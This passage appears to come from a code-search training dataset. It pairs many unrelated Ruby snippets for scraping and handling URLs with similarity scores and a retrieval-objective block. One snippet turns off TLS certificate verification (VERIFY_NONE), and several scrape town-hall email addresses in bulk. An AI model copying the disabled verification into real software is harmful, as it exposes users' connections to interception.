"def nonadword_urls(page)\n\t\tnonadwords_xpath(page).inject([]) do |result, adword|\n\t\t\tresult << fetch_nonadword_url(adword)\n\t\tend\t\t\n\tend",
"def get_all_the_urls_townhalls\n doc = Nokogiri::HTML(open(\"http://annuaire-des-mairies.com/bouches-du-rhone.html\"))\n urlend = []\n tabname = []\n doc.css('.lientxt').each do |i| tabname << i.content end\n doc.css('a.lientxt @href').each do |i| urlend << i.content end\n i = 0\n while i < urlend.size\n urlend[i][0] = ''\n urlend[i] = get_the_email_of_a_townhal_from_its_webpage(\"http://annuaire-des-mairies.com#{urlend[i]}\")\n i += 1\n end\n return myhash = Hash[tabname.zip(urlend)]\n end",
"def get_urls\n\n url_array = []\n top_five = 0\n\n while top_five < 5\n url_array << @news_instance[\"response\"][\"docs\"][top_five][\"web_url\"]\n top_five += 1\n end\n\n # returns the array\n return url_array\n\n end",
"def follow_links(url_arr)\n url_arr.each do |link|\n search = Settings::ProgramSettings.new.parse(link, 'html', 0)\n data = URI.extract(search, %w(http https))\n data.each do |url|\n FORMAT.info(\"Found redirect: #{url}\")\n File.open(\"#{PATH}/tmp/blackwidow_log.txt\", \"a+\") { |to_search| to_search.write(url + \"\\n\") }\n sleep(0.2)\n end\n end\n end",
"def urlhist(path)\n\t\tu = Hash.new(0)\n\t\tcnt = 0\n\t\tf=File.open(path)\n\t\tf.readlines.each do |line|\n\t\t\tpart = line.split(' ')\n\t\t\turl = part[6]\n\t\t\tu[url] = u[url] + 1\n\t\t\tcnt +=1\t\n\t\tend\n\t\tu.sort.each do |k, v|\n\t\t\tprint \"The frequency of #{k} | \"\n\t\t\twhile v > 0\n\t\t\t\tprint \"#\"\n\t\t\t\tv-=1\n\t\t\tend\n\t\tputs \"\\n\"\n\t\tend\n\t\t\n\tend",
"def link_urls(tweet)\n tweet.gsub(/([A-Z]+:\\/\\/[^\\s]+)/i, '<a href=\"\\1\">\\1</a>')\n end",
"def fetch_adword_url_top(adword)\n\t\t\"http://#{adword.text}\"\n\tend",
"def output_jobs(links)\n links.length\n links.each { |link| puts link.text + \"\\n\\t\" + \"https://www.jobsatosu.com\" + link['href']}\nend",
"def get_townhall_urls(url)\n\n page = Nokogiri::HTML(URI.open(url)) \n #townhall_url = page.xpath(\"//a/@href\").map {|x| x.value}\n townhall_urls_array_incomplete = page.css('a[href].lientxt').map {|x| x[\"href\"]}\n #remove the dot at the beginning of the url\n townhall_urls_array_incomplete = townhall_urls_array_incomplete.map {|x| x[2..]}\n townhall_urls_array = townhall_urls_array_incomplete.map {|x| \"http://annuaire-des-mairies.com/\" + x}\n return townhall_urls_array\n\nend",
"def research_sites(search_str)\n search_sites = link_to \"Google\", 'http://www.google.com/search?q=' + search_str, :target => '_blank'\n search_sites += ' | '\n search_sites += link_to \"Yahoo\", 'http://search.yahoo.com/search?p=' + search_str, :target => '_blank'\n search_sites += ' | '\n search_sites += link_to \"Technorati\", 'http://www.technorati.com/search' + search_str, :target => '_blank'\n search_sites += ' | '\n search_sites += link_to \"Wikipedia\", 'http://en.wikipedia.org/w/wiki.phtml?search=' + search_str, :target => '_blank'\n search_sites += ' | '\n search_sites += link_to \"del.icio.us\", 'http://del.icio.us/search/?all=' + search_str, :target => '_blank'\n end",
"def python_hard_way_urls\n urls = ['http://learnpythonthehardway.org/book/intro.html']\n (0..52).each do |val|\n urls << 'http://learnpythonthehardway.org/book/ex' + val.to_s + '.html'\n end\n urls << 'http://learnpythonthehardway.org/book/next.html'\n urls << 'http://learnpythonthehardway.org/book/advice.html'\n urls\nend",
"def ruby_hard_way_urls\n urls = ['http://ruby.learncodethehardway.org/book/intro.html']\n (1..52).each do |val|\n urls << 'http://ruby.learncodethehardway.org/book/ex' + val.to_s.rjust(2,'0') + '.html'\n end\n urls << 'http://ruby.learncodethehardway.org/book/next.html'\n urls << 'http://ruby.learncodethehardway.org/book/advice.html'\n urls\nend",
"def link_titles(title_link_arr)\n result=[]\n titles_and_links = title_link_arr\n titles_and_links.each do |x|\n result << link_title(x)\n end\n result\n end",
"def get_townhall_urls\n\tpage = la_page\n\turls = page.xpath('//*[@class=\"lientxt\"]/@href') #/ toutes les URLs appartiennent à la classe lientxt\n\turl_array = []\n\turls.each do |url| #/ pour chaque URLs récupérées, il faut leur indiquer l'url parent \"http://annuaire-des-mairies.com\"\n\t\turl = \"http://annuaire-des-mairies.com\" + url.text[1..-1] #/ A l'url parent, on ajoute les urls récupérées du deuxième caractère au dernier caractère, car on veut se débarasser du point devant.\n\t\turl_array << url\n\tend\n puts url_array\n\n\treturn url_array\nend",
"def get_all_the_urls_of_val_doise_townhalls(page_url)\n doc = Nokogiri::HTML(open(page_url))\n urls = []\n#on recupere le css a[class=lientxt]\n get_urls = doc.css(\"a[class=lientxt]\")\n get_urls.each{|link| urls.push(\"http://annuaire-des-mairies.com\"+link['href'][1...link['href'].length])}\n urls\nend",
"def prepare_all_links(target)\n # here we get all replies to author of target message (7 days is the limit)\n all_links = Array.new\n # sometimes fails on twitter side, need to figure out why\n #req = \"http://search.twitter.com/search.atom?q=to:\" + target[:name] + \"&rpp=1000&since_id=\" + target[:sid]\n req = \"http://search.twitter.com/search.atom?q=to:\" + target[:name]\n begin\n open(req) do |f|\n f.each_line do |line|\n \t status_mention_matches = (/<link type=\"text\\/html\" rel=\"alternate\" href=\"(.*?)\"/).match(line)\n \t status_mention_link = status_mention_matches[1] unless status_mention_matches == nil\n \t unless status_mention_link == nil || (/^http:\\/\\/search.twitter.com/).match(status_mention_link) != nil\n \t all_links.push status_mention_link \n \t end\n \tend\n end\n rescue\n print \"Error while working with: \" + req + \"\\n\"\n all_links = nil\n end \n all_links\nend",
"def messages_parsing(body)\n term_re = \"\\\\/messages\\\\/show\\\\/\"\n body = CGI.unescapeHTML(body)\n urls = body.scan(/<a href=\"(#{term_re}[^\"]*)\"/).flatten\n return urls\n end",
"def link_text_score(*args)\n rows, word_ids = args\n link_scores = rows.to_hash { |row| [ row[0], 0 ] }\n word_ids.each do |word_id|\n # TODO: replace with ActiveRecord\n @db.execute(\"select l.from_id, l.to_id from link_words w, link l where w.word_id = ? and w.link_id = l.rowid\", word_id.to_i).each do |from, to|\n if link_scores.has_key? to\n pr = @db.get_first_row(\"select score from page_rank where url_id = ?\", from.to_i)[0].to_f\n link_scores[to] += pr\n end\n end\n end\n \n max_score = link_scores.values.max\n link_scores.to_a.to_hash do |url, score|\n [ url, score / max_score ]\n end\n end",
"def process_links(host_url)\n file = open(url)\n links = Nokogiri::HTML(file).search('a')\n protocol = url.split('://').first\n links = links.map { |link| [link.text.strip, link['href']] }.to_h\n create_report(links, protocol, host_url)\n rescue StandardError => error\n puts \"Error Encountered : #{error}\"\n end",
"def save_adword_urls_top(page)\n\t\tadword_urls_top(page).each do |url|\n\t\t\tcreate_adword_url(url, \"top\")\n\t\tend\n\tend",
"def urls_of_val_doise_townhalls\n\turl_parent = \"http://annuaire-des-mairies.com/\" # The parent page url which list the town hall pages url\n\tpage = Nokogiri::HTML(open(url_parent+\"/val-d-oise.html\")) # url from the page and the specific town link\n\turls_array = page.xpath('//a[@class = \"lientxt\"]').map { |node| url_parent + node.attributes[\"href\"].value[1..-1] }\n\treturn urls_array # urls sheet\nend",
"def extract_link(tweet)\n if tweet\n text = tweet['text']\n start = text.index('http') if text\n if start\n stop = text.index(' ', start) || 0\n text[start..stop-1]\n end\n end\n end",
"def get_all_the_urls_townhalls_rhone\n doc = Nokogiri::HTML(open(\"http://annuaire-des-mairies.com/rhone.html\"))\n doc2 = Nokogiri::HTML(open(\"http://annuaire-des-mairies.com/rhone-2.html\"))\n urlend = []\n tabname = []\n doc.css('.lientxt').each do |i| tabname << i.content end\n doc.css('a.lientxt @href').each do |i| urlend << i.content end\n doc2.css('.lientxt').each do |i| tabname << i.content end\n doc2.css('a.lientxt @href').each do |i| urlend << i.content end\n i = 0\n while i < urlend.size\n begin\n urlend[i] = get_the_email_of_a_townhal_from_its_webpage(\"http://annuaire-des-mairies.com#{urlend[i]}\")\n i += 1\n rescue => exception\n p urlend[i] = (\"L'url de la mairie de #{tabname[i]} est indisponible\")\n i += 1\n ensure\n end\n end \n return myhash = Hash[tabname.zip(urlend)]\n end",
"def get_townhall_urls\r\n\r\n # Scrapping de toutes les URLs\r\n page = Nokogiri::HTML(URI.open(\"http://annuaire-des-mairies.com/val-d-oise.html\"))\r\n\turls = page.xpath('//*[@class=\"lientxt\"]/@href') # toutes les URLs appartiennent à la classe lientxt\r\n\r\n #stockage des URLs scrappées dans une array\r\n\turl_array = []\r\n urls.each do |url| # pour chaque URLs récupérées, il faut leur indiquer l'url parent \"http://annuaire-des-mairies.com\"\r\n\t\turl = \"http://annuaire-des-mairies.com\" + url.text[1..-1] # A l'url parent, on ajoute les urls récupérées du deuxième caractère au dernier caractère, car on veut se débarasser du point devant.\r\n\t\turl_array << url\r\n end\r\n\r\n puts \" ⏳ URLs scrapping in process...3️, 2️, 1️\" \r\n sleep 3\r\n puts \"⭐⭐⭐ BINGOOOOOO ⭐⭐⭐\" #https://emojipedia.org/\r\n sleep 1\r\n return url_array \r\nend",
"def to_hash url\n doc = get_doc_for_url url\n count = 0\n page = {}\n page[:url] = url\n now = Time.now\n page[:create_date_seconds] = now.to_i\n page[:create_date] = now\n page[:subforum] = @subforum\n\n arr = Array.new\n h = {}\n links = doc.xpath(\"//table/tr/td/table/tr\")\n links.each_with_index do |li, i|\n x = li.css(\"td.title\")\n if !x.empty?\n #puts \" ---- title ----- #{x.count} \"\n count = x[0].text\n #puts count\n if x.count < 2\n # this block is for the next_url\n article_url = x[0].css(\"a\")[0][\"href\"] # link url\n #puts article_url\n h = {}\n h[:title] = count\n h[:article_url] = article_url\n more = count\n more_url = \"#{@host}/#{article_url}\"\n #arr << h\n page[:next_url] = more_url\n #puts li\n end\n break if x.count < 2\n\n # actual article url\n title = x[1].css(\"a\")[0].text # title\n article_url = x[1].css(\"a\")[0][\"href\"] # link url\n #puts article_url\n #puts title\n h = {}\n #h[:number] = count\n h[:title] = title\n # ask option does not have hostname since it is relative to HN\n if article_url.index(\"http\") != 0\n article_url = \"#{@host}/#{article_url}\"\n end\n\n h[:article_url] = article_url\n arr << h\n else \n x = li.css(\"td.subtext\")\n if !x.empty?\n fulltext = x.text\n #puts \" ---- subtext ----- (#{fulltext})\"\n submitter = nil\n submitter_url = nil\n comment = nil\n comments_url = nil\n t = x.css(\"a\")\n t.each_with_index do |tt, ii|\n case ii\n when 0\n submitter = tt.text\n submitter_url = tt[\"href\"]\n when 1\n comment = tt.text\n comments_url = tt[\"href\"]\n comments_url = \"#{@host}/#{comments_url}\"\n end\n end\n points = x.css(\"span\").text rescue \"\"\n #puts submitter\n #puts submitter_url\n #puts comment\n #puts comments_url\n #puts points\n h[:submitter] = submitter\n h[:submitter_url] = submitter_url\n h[:comment_count] = comment.to_i.to_s.rjust(4)\n h[:comments_url] = comments_url\n h[:points] = points.to_i.to_s.rjust(4)\n m = fulltext.scan(/\\d+ \\w+ ago/)\n if m\n #h[:age_text] = m.first\n h[:age_text] = m.first.scan(/\\d+ \\w/).first.rjust(4)\n h[:age] = human_age_to_unix(m.first)\n end\n #puts \"fulltext: #{fulltext} \"\n h[:byline] = fulltext\n end\n end\n end\n #return arr\n page[:articles] = arr\n return page\n end",
"def urls(env)\n begin\n page = env[:page]\n agent = env[:agent]\n follower_url = page.search(FLAG)[1].attributes['href'].value\n follower_page = agent.get(follower_url)\n tables = follower_page.search(FOLLOWER_FLAG)\n tables.map{|table| get_url_from_table(table)}\n rescue => err\n CrawlingService.log(err.message)\n CrawlingService.log(err.backtrace)\n []\n end\n\n end",
"def get_astronomy_pages()\n\treturn @archive_doc.css('body b a').map { |page| @base_url + page[\"href\"] }\nend",
"def get_townhall_urls(html)\n url = []\n get_townhall_city(html).each do |x|\n url << \"http://annuaire-des-mairies.com/95/#{x}.html\"\n end \n return url\n end",
"def get_all_the_urls_of_val_doise_townhalls(url)\n doc = Nokogiri::HTML(URI.open(url))\n hash = {}\n doc.css('//p/a').each do |node|\n html = node[\"href\"]\n html = \"http://annuaire-des-mairies.com\" + html[1..-1] # => permet d'enlever le . devant le lien <a class=\"lientxt\" href=\"./95/ableiges.html\">ABLEIGES</a>\n hash[node.text]=get_the_email_of_a_townhal_from_its_webpage(html)\n end\n puts hash\nend",
"def link_check\n\t\tif self.message.include? \"https://\"\n\t\t\tarr = self.message.split\n\t\t\t# find me the index where the curly bracket area is equal to true, and set that index equal to indx\n\t\t\tindx = arr.map { |x| x.include? \"https://\"}.index(true)\n\t\t\t# take what is in the array at index # and assign it as a link attribute to the curent instance of tweet (self) \n\t\t\tself.link= arr[indx]\n\n\t\t\t# check and see if the item at array indx length is greater than 23? if so , we havfe to shorten it.\n\t\t\tif arr[indx].length > 23\n\t\t\t\tarr[indx]=\"#{arr[indx][0..20]}...\"\n\t\t\tend\n\n\t\t\tself.message= arr.join(\" \")\n\t\tend\t\n\tend",
"def links\n data['links']\n end",
"def get_word_value_array(word)\n html = RestClient.get(\"http://www.thesaurus.com/browse/#{word}\")\n word_string = Nokogiri::HTML(html).css(\"div.relevancy-list ul li a\").to_a\n part_of_speech = Nokogiri::HTML(html).css(\"div.mask ul li a em\")[0].text\n word_definition = Nokogiri::HTML(html).css(\"div.mask ul li a strong\")[0].text\n [word_string, \"(#{part_of_speech}) #{word_definition}\"]\n end",
"def get_townhall_urls(townhall_list)\n page = Nokogiri::HTML(URI.open(townhall_list))\n annuaire = []\n page.xpath('//a[@class=\"lientxt\"]/@href').each do |link|\n annuaire << link.text\n end\n annuaire.map!{ |x| [\"https://www.annuaire-des-mairies.com\", x.reverse.chop.reverse].join}\n return annuaire\nend",
"def get_items_links(uri_arr)\n\t\tlinks = []\n\t\t(1..get_max_page(uri_arr) ).each do |x|\n\t\t links.concat P.get_css_list P.build_uri(uri_arr), '.isolux-thumbnail-name a' \n\t\tend\n\t\t\n\t\tlinks\n\tend",
"def save_nonadword_urls(page)\n\t\tnonadword_urls(page).each do |url|\n\t\t\tcreate_nonadword_url(url, \"center\")\n\t\tend\n\tend",
"def get_townhall_urls(url)\n page = Nokogiri::HTML(open(url))\n cities_url = page.xpath('//a[@class=\"lientxt\"]').to_a\n links = (cities_url.map {|url| url[\"href\"][1..-1]}).to_a\n #puts links\n return links\nend",
"def image_links(chapter_url)\n\n {}\n end",
"def urls(text)\n scan(text, URL, :url)\n end",
"def link_check\n check = false\n if self.message.include? \"http://\"\n check = true\n elsif self.message.include? \"https://\"\n check = true\n else\n check = false\n end\n\n if check == true\n arr = self.message.split\n\n index = arr.map{ |x| x.include? \"http\"}.index(true)\n # map is a function that takes a block and returns an array with the result of each element mapped to the return value of that block - this line is breaking the message into an array of words and checking to see if any item/word in the array starts with http\n self.link = arr[index]\n # saving that http to the variable self\n if arr[index].length > 23\n arr[index] = \"#{arr[index][0..20]}...\"\n end\n # if longer than 23 characters, it gets shortened to the first 21 characters with ...\n\n self.message = arr.join(\" \")\n end\n\n def apply_link\n arr = self.message.split\n index = arr.map { |x| x.include? \"http://\" }.index(true)\n if index\n url = arr[index]\n # finds the index of the http link and saves it as url\n arr[index] = \"<a href='#{self.link}' target='_blank'>#{url}</a>\"\n # target='_blank' opens a new tab for the link\n\t end\n self.message = arr.join(\" \")\n end\n\n end",
"def add_to_index(url, doc)\n unless is_indexed(url)\n # FIXME: replace with logging\n puts \"Indexing #{url}...\"\n \n # Get the individual words\n text = get_text_only(doc)\n words = separate_words(text)\n \n u = Url.find_by_url(url)\n if u.nil?\n u = Url.create!(:url => url)\n end\n \n # Link each word to this url\n words.each_with_index do |word, i|\n unless IGNORE_WORDS.member?(word)\n w = Word.find_by_word(word)\n if w.nil?\n w = Word.create!(:word => word)\n end\n w.word_locations.create!(:url_id => u.id, :location => i)\n end\n end\n end\n end",
"def twitter_url\n\t\ttwitter = []\n\t\ttext = html.search(\"a\").text.split(\" \")\n\t\ttext.each do |element|\n\t\t\tif element.to_s.match(/@/)\n\t\t\t\ttwitter << element\n\t\t\tend\n\t\tend\n\t\t\treturn twitter\n\tend",
"def countWords(href)\n\n # Use mechanize to follow link and get contents\n mechanize = Mechanize.new\n mechanize.user_agent_alias = \"Windows Mozilla\"\n mechanize.agent.http.verify_mode = OpenSSL::SSL::VERIFY_NONE\n mechanize.redirect_ok = true\n\n begin\n\n page = mechanize.get(href)\n\n rescue\n\n return { :Positive => 0, :Negative => 0, :Symbol => @symbol, :Date => Time.now.strftime(\"%d/%m/%Y\")}\n\n end\n\n # Use Nokogiri to get the HTML content of a link.\n # html_doc = Nokogiri::HTML(open(href,:allow_redirections => :all, ssl_verify_mode: OpenSSL::SSL::VERIFY_NONE))\n\n html_doc = Nokogiri::HTML(page.content)\n\n # Look for all <p> tags and store their contents\n paragraph = html_doc.css(\"p\").inner_text\n\n # Split the content in single sentences and store in array\n strings = Array[]\n strings = paragraph.split('.')\n\n #Counters for positive and negative words\n positiveCounter = 0\n negativeCounter = 0\n\n # Iterate the sentence array\n strings.each do |s|\n\n # If the sentence includes the @symbol or the @symbolName, split in single words\n if s.upcase.include?(@symbolName) or s.upcase.include?(@symbol)\n\n words = Array[]\n words = s.gsub(/\\s+/m, ' ').strip.split(\" \")\n\n # Iterate the words array\n words.each do |s2|\n\n # Count word if it equals a positive words\n @positiveWordsArray.each do |line|\n if s2.upcase == line\n Scraper.logger.info s2\n #puts s2\n positiveCounter = positiveCounter + 1\n end\n end\n\n # Count word if it equals a negative words\n @negativeWordsArray.each do |line|\n if s2.upcase == line\n Scraper.logger.info s2\n #puts s2\n negativeCounter = negativeCounter + 1\n end\n end\n\n end\n\n end\n\n end\n\n Scraper.logger.info positiveCounter\n Scraper.logger.info positiveCounter\n\n return { :Positive => positiveCounter, :Negative => negativeCounter, :Symbol => @symbol, :Date => Time.now.strftime(\"%d/%m/%Y\")}\n\n end",
"def parse_links\n @body.scan(@@link_re) do |x|\n m = Regexp.last_match\n type = 'link'\n from = self\n text = m['text_or_to']\n to = @twine.passage_from_name(m['to'] ? m['to'] : m['text_or_to'])\n @links << Link.new(from, to, text, type)\n end\n end",
"def get_all_links page_number\n begin\n \n if @filename == ''\n raise 'filename not specified'\n end\n \n if page_number == ''\n raise 'page number not specified'\n end\n \n total_links = self.get_links_count(page_number)\n \n all_links = Array.new\n \n index = 1\n while index <= total_links\n \n all_annotations.push(self.get_link(page_number, index))\n \n index+=1\n end\n \n return all_links\n \n \n rescue Exception=>e\n print e\n end\n end",
"def extract_links(doc)\n (doc/'a').map { |link|\n href = link['href']\n CGI.unescapeHTML(href) if href && href !~ /^#/\n }.compact\n end",
"def links\n @links.values\n end",
"def create_links(tweet)\n # NOTE: URLs before Users, otherwise we'll double escape the URLs\n link_users(link_hashtags(link_urls(html_escape(tweet))))\n #link_users(link_urls(html_escape(tweet)))\n end",
"def map_words_on_page\n fetcher = FetchUrl.new\n page_content = fetcher.fetch(self[:url]).body\n\n processor = PageProcessor.new\n processor.process_page page_content\n end",
"def links_feed\n end",
"def get_all_the_urls_townhalls_cot_d_or\n doc = Nokogiri::HTML(open(\"http://annuaire-des-mairies.com/cote-d-or.html\"))\n doc2 = Nokogiri::HTML(open(\"http://annuaire-des-mairies.com/cote-d-or-2.html\"))\n doc3 = Nokogiri::HTML(open(\"http://annuaire-des-mairies.com/cote-d-or-3.html\"))\n doc4 = Nokogiri::HTML(open(\"http://annuaire-des-mairies.com/cote-d-or-4.html\"))\n urlend = []\n tabname = []\n doc.css('.lientxt').each do |i| tabname << i.content end\n doc.css('a.lientxt @href').each do |i| urlend << i.content end\n doc2.css('.lientxt').each do |i| tabname << i.content end\n doc2.css('a.lientxt @href').each do |i| urlend << i.content end\n doc3.css('.lientxt').each do |i| tabname << i.content end\n doc3.css('a.lientxt @href').each do |i| urlend << i.content end\n doc4.css('.lientxt').each do |i| tabname << i.content end\n doc4.css('a.lientxt @href').each do |i| urlend << i.content end\n i = 0\n while i < urlend.size\n begin\n urlend[i] = get_the_email_of_a_townhal_from_its_webpage(\"http://annuaire-des-mairies.com#{urlend[i]}\")\n i += 1\n rescue => exception\n p urlend[i] = (\"L'url de la mairie de #{tabname[i]} est indisponible\")\n i += 1\n ensure\n end\n end \n return myhash = Hash[tabname.zip(urlend)]\n end",
"def pages(url)\n urls = Array.new\n data = Array.new \n data << Nokogiri::HTML(ScraperWiki.scrape(url))\n data[0].css('p.pages a').each do |link|\n urls << editUrl(link.attribute(\"href\").to_s())\n end\n\n urls.uniq.each do |link|\n data << Nokogiri::HTML(ScraperWiki.scrape(link))\n end\n\n return data\nend",
"def pages(url)\n urls = Array.new\n data = Array.new \n data << Nokogiri::HTML(ScraperWiki.scrape(url))\n data[0].css('p.pages a').each do |link|\n urls << editUrl(link.attribute(\"href\").to_s())\n end\n\n urls.uniq.each do |link|\n data << Nokogiri::HTML(ScraperWiki.scrape(link))\n end\n\n return data\nend",
"def h text\n # Link links\n out = text.gsub( %r{http(s)?://[^\\s<]+} ) { |url| \"<a href='#{url}'>#{url}</a>\" }\n\n # Link Twitter Handles\n out = out.gsub(/@(\\w+)/) {|a| \"<a href=\\\"http://twitter.com/#{a[1..-1]}\\\"/>#{a}</a>\" }\n\n # Link Hash tags\n out = out.gsub(/#(\\w+)/) {|hash| link_to hash, url(:hash, hash[1..-1]) }\n\n return out\n end",
"def get_all_the_urls_of_val_doise_townhalls(url)\n page = Nokogiri::HTML(open(url))\n urls = []\n source = \"http://annuaire-des-mairies.com/\"\n news_links = page.css(\"a\").select{|link| link['class'] == \"lientxt\"}\n news_links.each do |link|\n lien = link['href']\n nv_link = lien.byteslice(2,lien.length)\n nv_link = source + nv_link\n urls << nv_link\n end\n return urls\nend",
"def history_site\n \t\tAPI.get_site_wordcount_history\n \tend",
"def get_townhall_urls\n h = {}\n page = 'http://annuaire-des-mairies.com'\n doc = Nokogiri::HTML(open(page + '/val-d-oise.html'))\n doc.xpath('//a[@class=\"lientxt\"]').each do |node|\n h[node.text.capitalize.to_sym] = get_townhall_email(page +\n node.xpath('@href').text.gsub!(/^\\./, '').to_s)\n end\n return h\n end",
"def get_the_blog_url\n\t\tblogs = []\n\t\tall_blog_names = (html.search(\".back\"))\n\t\tall_blog_names.each do |i|\n\t\t\tif i.search(\".blog\").text == \"Blog\"\n\t\t\tblogs << i.search(\".blog @href\")\n\t\telse\n\t\t\tblogs << \"none\"\n\t\tend\n\t\tend\n\t\tblogs \n\tend",
"def link() url; end",
"def link() url; end",
"def links\n return unless success? and body\n\n doc = Nokogiri::HTML(@body)\n \n links = []\n\n doc.css('div.list-lbc a').each do |a|\n link = {\n :url => a['href'],\n :title => a.css('div.title').first.content.strip\n }\n\n link[:ad_id] = link[:url][/^http:\\/\\/www.leboncoin.fr\\/locations\\/(\\d+).*/,1]\n links << link\n yield link if block_given?\n end\n\n links\n end",
"def list\n extract_names_and_urls = lambda do |doc|\n [extact_url(@url, document), extract_titles(document)]\n end\n \n html.css('a').map(&extract_names_and_urls)\n end",
"def build(text)\r\n # parse words and then builds weighted links\r\n arr = []\r\n i = 0\r\n while word = parse_string\r\n arr << word\r\n if i == 0\r\n add_first_word()\r\n else\r\n add_word()\r\n end\r\n i = 0 if trim_space == true\r\n end\r\n \r\n end",
"def links(arg = nil)\n set_or_return(:links, arg, kind_of: Array)\n end",
"def guideLinksHash(game_title)\n \n ############ Change web search to be more expansive in nokogiri search and then use sunspot/solr full text searching to whittle that down and/or rank the results.\n #############\n \n return nokogiriGetGuideLinksWithTitles(game_title)\n end",
"def linkCollector(pageName)\n\turls = Array.new\n\tstr = \"http://www.usm.edu\"\n\n\t# Collects links from page\n\tbegin\n\t\tcurrentPage = Nokogiri::HTML(open(pageName, 'User-Agent' => 'ruby', :allow_redirections => :safe))\n\trescue OpenURI::HTTPError => e\n \tputs \"Can't access #{ pageName }\"\n \tputs e.message\n\t\tputs\n end\n $visitedCounter += 1\n\tlinks = currentPage.css(\"a\")\n\tlinks.each do |link|\n\t\tif link['href'] =~ /science-technology/ and link['href'] !~ /staff|faculty|jpg|pdf/\n\t\t\tif link['href'] !~ /www.usm.edu/\n\t\t\t\turls.push(str + link['href'])\n\t\t\telse\n\t\t\t\turls.push(link['href'])\n\t\t\tend\n\t\tend\n\tend\n\treturn urls\nend",
"def urls\n payloads.group(\"url\")\n .count\n .sort_by { |k,v| -v }\n end",
"def urls\n \n # Go through the 3 urls in the record and retrieve the urls and associated \n # text for the caller\n references = []\n 1.upto(3) do |i|\n \n url = self.send(\"url#{i}\")\n break if url == ''\n \n url_text = self.send(\"url#{i}_name\")\n url_text = 'Reference' if url_text == ''\n references.push({ :text => url_text, :url => url })\n \n end\n \n references\n \n end",
"def hp(text)\n BibTextile.link_to_hompages(l2h(text))\n end",
"def urls\n URI.extract(self.script)\n end",
"def save_adword_urls_right(page) \n\t\tadword_urls_right(page).each do |url|\n\t\t\tcreate_adword_url(url, \"right\")\n\t\tend\n\tend",
"def parse_urls text\n lines = text.gsub(/^\\* /, \"\").delete(\"<>\").split(/\\n/).grep(/\\S+/)\n\n if lines.first =~ /::/ then\n Hash[lines.map { |line| line.split(/\\s*::\\s*/) }]\n else\n raise \"Please switch readme to hash format for urls.\"\n end\n end"
] | [
"0.58963275",
"0.5879348",
"0.57970613",
"0.5660673",
"0.55442375",
"0.54835504",
"0.54835504",
"0.54834515",
"0.5471452",
"0.54589516",
"0.5456753",
"0.5455539",
"0.54499",
"0.5448315",
"0.5444331",
"0.543729",
"0.5435514",
"0.5431505",
"0.5427271",
"0.5427271",
"0.54243207",
"0.5419801",
"0.53941965",
"0.53836",
"0.53498673",
"0.53425616",
"0.5331835",
"0.5298738",
"0.5297674",
"0.52918524",
"0.52712065",
"0.52679926",
"0.5267861",
"0.524669",
"0.52412736",
"0.52353126",
"0.5232049",
"0.52306217",
"0.5219231",
"0.52071446",
"0.5175959",
"0.517129",
"0.5161075",
"0.5158746",
"0.5156306",
"0.5151811",
"0.5147941",
"0.51438254",
"0.51301426",
"0.51237744",
"0.5121512",
"0.5119214",
"0.5109648",
"0.5108499",
"0.51030415",
"0.50998116",
"0.509338",
"0.50906134",
"0.50879866",
"0.5085327",
"0.50811416",
"0.5078508",
"0.5076325",
"0.50653213",
"0.50632876",
"0.50569546",
"0.5056072",
"0.5049401",
"0.5047228",
"0.50471395",
"0.50418",
"0.5029496",
"0.5027742",
"0.5027465",
"0.50224817",
"0.50219196",
"0.50192314",
"0.5008175",
"0.50074524",
"0.4992257",
"0.4992257",
"0.4981915",
"0.49752805",
"0.49724358",
"0.49713162",
"0.4971014",
"0.49615172",
"0.49615172",
"0.495985",
"0.49584395",
"0.4956685",
"0.49500945",
"0.49417698",
"0.49403858",
"0.49394864",
"0.49369878",
"0.49296045",
"0.49140462",
"0.49139434",
"0.49096453"
] | 0.54556453 | 11 |
responds to json or html requests through inheritance from BaseController: | def index
#respond_with
if current_user_from_api_access
respond_to do |format|
format.json { render json: current_user_from_api_access.measurements.all.to_json }
format.html { render text: current_user_from_api_access.measurements.all.to_json }
end
else
respond_to do |format|
format.json { render json: { "result" => "Fail", "message" => "Invalid user" }.to_json }
end
end
end | {
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
} | [
"def render(*)\n respond_to do |format|\n format.jsonapi { super }\n format.json { super }\n end\n end",
"def responder\r\n self.class.respond_to :html, :json\r\n end",
"def interface\n respond_to do |format|\n format.json {}\n end\n end",
"def show\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @request }\n end\n end",
"def show\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @request }\n end\n end",
"def index\n respond_to do |format|\n format.html\n format.json\n end \n end",
"def index\n respond_to do |format|\n format.html\n format.json\n end \n end",
"def index\n render 'post'\n respond_to :json\n end",
"def index\n respond_to do |format|\n format.html\n format.json\n end\n end",
"def post_request\n\t\turl = request.fullpath.gsub(\"/api\", \"\")\n\t\t@rr = Rr.where(\"url = ?\", url).first\n\t\trespond_to do |format|\n\t\t\tformat.json { render :json => rr.response}\n\t\t\tformat.xml { render :xml => @rr.response}\n\t\t\tformat.js { render :js => @rr.response}\n\t\tend\n\tend",
"def show\n respond_to do |format|\n format.json\n end\n end",
"def raw_response; end",
"def show\n respond_to do |format|\n format.html\n format.json {render :show}\n format.js {render :show}\n end\n end",
"def show\n respond_to do |format|\n format.html\n format.json { render jsonapi: @post }\n end\n end",
"def respond_with(*args)\n if is_json_request?\n if args[0] && args[0].respond_to?(:authentication_token)\n render :json => args[0] \n else\n super(*args)\n end\n else\n super(*args)\n end\n end",
"def controller; end",
"def controller; end",
"def controller; end",
"def controller; end",
"def controller; end",
"def controller; end",
"def controller; end",
"def controller; end",
"def controller; end",
"def controller; end",
"def index\r\n respond_to do |format|\r\n format.html # index.html.erb\r\n format.xml { render :xml => @info_classes }\r\n format.json { render :text => get_json }\r\n end\r\n end",
"def show\n respond_to do |format|\n format.html\n format.xml\n format.json\n end\n end",
"def show\n respond_to do |format|\n format.html { }\n format.json { render :json => @request}\n format.xml { render :xml => @request.to_xml}\n end\n end",
"def respond\n respond_to do |format|\n format.html\n format.xml { render :xml => @response.to_xml }\n format.json { render :json => @response.to_json }\n end\n end",
"def index\n respond_to do |format|\n format.html\n format.json { render :json => Item.all}\n end\n\n end",
"def GET; end",
"def index\n respond_to do |format|\n format.json {render json: process_search(Admin)}\n format.html # index.html.erb\n end\n end",
"def show\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @resource }\n end\n end",
"def index\n @requests = ::Request.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @requests }\n end\n end",
"def index\n @requests = Request.all\n\n respond_to do |format|\n format.json { render :json => @requests}\n end\n end",
